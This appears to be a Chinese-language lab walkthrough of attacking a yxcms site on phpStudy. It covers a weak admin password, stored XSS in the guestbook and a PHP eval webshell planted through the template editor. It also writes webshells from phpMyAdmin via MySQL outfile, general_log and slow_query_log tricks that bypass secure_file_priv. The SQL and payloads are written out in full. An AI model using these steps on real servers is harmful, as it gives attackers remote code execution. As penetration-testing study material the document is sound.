1、漏洞搜索与利用
漏洞1：后台弱口令
漏洞2：
在yxcms有个留言功能，常常存在存储型xss漏洞
先用<h1>123xss</h1>测试一下会不会解析
登录管理员账号审核留言，发现xss脚本解析了
写入xss弹窗
再次返回管理员审核页面，弹窗成功，存储型xss漏洞一枚
漏洞3：
前台模板可以新增php文件，我们可以尝试写入一句话木马
验证shell文件，可正常执行
使用蚁剑连接
漏洞4：
前面我们已经得到phpmyadmin的弱口令为root/root，且通过phpstudy探针页面知道了网站根目录为C:/phpStudy/WWW， 我们通过MySQL写入shell
1.通过outfile写入shell，新建sql语句
select '<?php @eval($_POST[pass])?>'into outfile 'C:/phpStudy/WWW/shell1.php';
但是报错了
执行以下sql语句
SHOW VARIABLES LIKE '%secure%'
发现没有写入的权限，无法使用select into outfile 方式直接写入shell
2、通过全局日志写入shell
先查看全局日志是否开启
SHOW VARIABLES LIKE '%general%'
发现全局日志general_log是off关闭的
开启全局日志，并修改日志路径为我们写入shell的路径
set set global general_log = ON
set set global general_log_file = 'C://phpStudy/WWW/yxcms/shell1.php';
接下来写入shell即可
select '<?php @eval($_POST[pass]); ?>';
可以看到shell1.php文件已经存在且一句话也已经被写入日志
蚁剑连接成功
3、使用慢查询日志getsehll
在实际写webshell的时候，我们经常会遭受到secure_file_priv的阻拦，secure_file_priv这个配置参数用来限制load data、outfile、load_file()的使用，其参数值有以下三种：
1、NULL：表示不允许导入导出
2、目录地址，如/tmp/：表示只能对指定目录进行导入导出，如/tmp/
3、空，即没有具体值：表示不对导入导出做限制
在高版本的mysql（mysql>5.6.34）中默认为NULL，就是不让导入和导出
使用慢查询日志绕过此限制
先查看慢查询日志开启情况
show variables like '%slow_query_log%';
开启慢日志，设置日志路径为shell路径
set global slow_query_log = ON;
set global slow_query_log_file = 'C://phpStudy/WWW/shell2.php';
使用慢查询日志时，只有当查询时间超过系统时间(默认为10秒)时才会记录在日志中，使用如下语句可查看系统时间：
show global variables like '%long_query_time%';
select '<?php @eval($_POST[pass]);?>' or sleep(11);设置查询时间为11s
接下来用蚁剑连接即可
